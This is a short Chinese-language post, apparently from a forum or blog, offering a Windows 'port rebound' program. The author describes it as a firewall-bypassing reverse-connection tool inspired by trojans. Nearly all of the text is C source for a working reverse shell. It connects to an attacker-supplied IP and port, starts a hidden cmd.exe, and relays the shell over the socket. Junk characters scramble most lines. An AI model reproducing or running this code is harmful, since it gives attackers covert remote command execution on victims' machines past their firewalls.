Windows下端口反弹

这是一个Windows下的小程序，可以穿透防火墙反弹连接，当然这是最简单的！看到网络上反弹木马到处都是，心一热就有了这个了（代码很垃圾的）。 +9MoKn=h  
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/* ============================== To_Y 8 G  
Rebound port in Windows NT :T62_cFG  
By wind,2006/7 t u)kWDk  
===============================*/ ZK1H%&P=R  
#include V&i/3g  
#include h[|c?\E z  
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#pragma comment(lib,"wsock32.lib") r5h+_&v,M  
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void OutputShell(); D"x;/I  
SOCKET sClient; ~J:cod  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; O#j&8hQ>  
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void main(int argc,char **argv) P4&3jQ[o  
{ cZ6Zx]  
WSADATA stWsaData; 4CUzp.S`h  
int nRet; N:"S/G>r ;  
SOCKADDR_IN stSaiClient,stSaiServer; ?
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N- !>\n  
if(argc != 3) cPFs K*w  
{ avJ%J"j8z  
printf("Useage:\n\rRebound DestIP DestPort\n");
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return; 4=BIYC"Lu  
} Ez\TwK  
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}(
  
WSAStartup(MAKEWORD(2,2),&stWsaData); #(i9G^K  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Rm^3K  
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stSaiClient.sin_family = AF_INET; 
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stSaiClient.sin_port = htons(0); <_o).hE{  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); z(00"ei  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) -rn%ASye  
{ M<nKk#!+h  
printf("Bind Socket Failed!\n"); O,a1?_m8  
return; fJiY~mQ  
} v(|Arm?  
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stSaiServer.sin_family = AF_INET; @%aU)YDwi  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); 8)Z)pCN  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); DlMT<ld  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) -o+<m4he  
{ zwLJ|>  
printf("Connect Error!"); zs=[C+Z\  
return; TJ_<21a  
} 4r+@7hnK  
OutputShell(); d~0k}|>  
} [3@Pu.-I+M  
/
/ k`X  
void OutputShell() efT@A}sV  
{ Z9)-kRQz=r  
char szBuff[1024]; n|p(Cb#G  
SECURITY_ATTRIBUTES stSecurityAttributes; ;4MC/Q/  
OSVERSIONINFO stOsversionInfo; y#B4m`9  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; h/iL/Q=  
STARTUPINFO stStartupInfo; 9I|D"zXn  
char *szShell; ehpU`vQz  
PROCESS_INFORMATION stProcessInformation; hI$IBf>  
unsigned long lBytesRead; #CV;Np  
-/g<A~+i]$  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); hFQ*50n}  

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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); >WcOY7  
stSecurityAttributes.lpSecurityDescriptor = 0; WA?We7m$  
stSecurityAttributes.bInheritHandle = TRUE; _+aMP=H  
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_;!$1lM[  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); Q"Pl)Q\  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); )8Jf
Bz
R  
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); Clo}kdkd_  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; .FdzEauVc  
stStartupInfo.wShowWindow = SW_HIDE; 9<|nJt  
stStartupInfo.hStdInput = hReadPipe; yADX^r(  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; 3+4U?~^k*  
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GetVersionEx(&stOsversionInfo); <
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U>-GM>  
switch(stOsversionInfo.dwPlatformId) N|3a(mtiZ'  
{ _g]h \3  
case 1: wqasI@vyu  
szShell = "command.com"; kZK1{  
break; ml1My1  
default: 2)\gIMt%  
szShell = "cmd.exe"; L2Z-seE  
break; ?Z2_y-  
} aJzyEb  
+=Y$v2BZA3  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); 1]wo    
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send(sClient,szMsg,77,0); *G"}m/j-  
while(1) G@4n]c_  
{ \!Wph5wA  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); 9TUB3x^  
if(lBytesRead) (o2.*x  
{ A5IW[Gu!  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); j\\uW)ibG  
send(sClient,szBuff,lBytesRead,0); M!b-;{;'  
} S#F%OIx  
else J93@\b  
{ }Ryrd!3bY  
lBytesRead=recv(sClient,szBuff,1024,0); /ptG  
if(lBytesRead<=0) break; 8FJPw"9  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); e% #?B *  
} U1=]iG<%  
} }PX8#C_P  
lbj_if;  
return; m+EtB6r  
}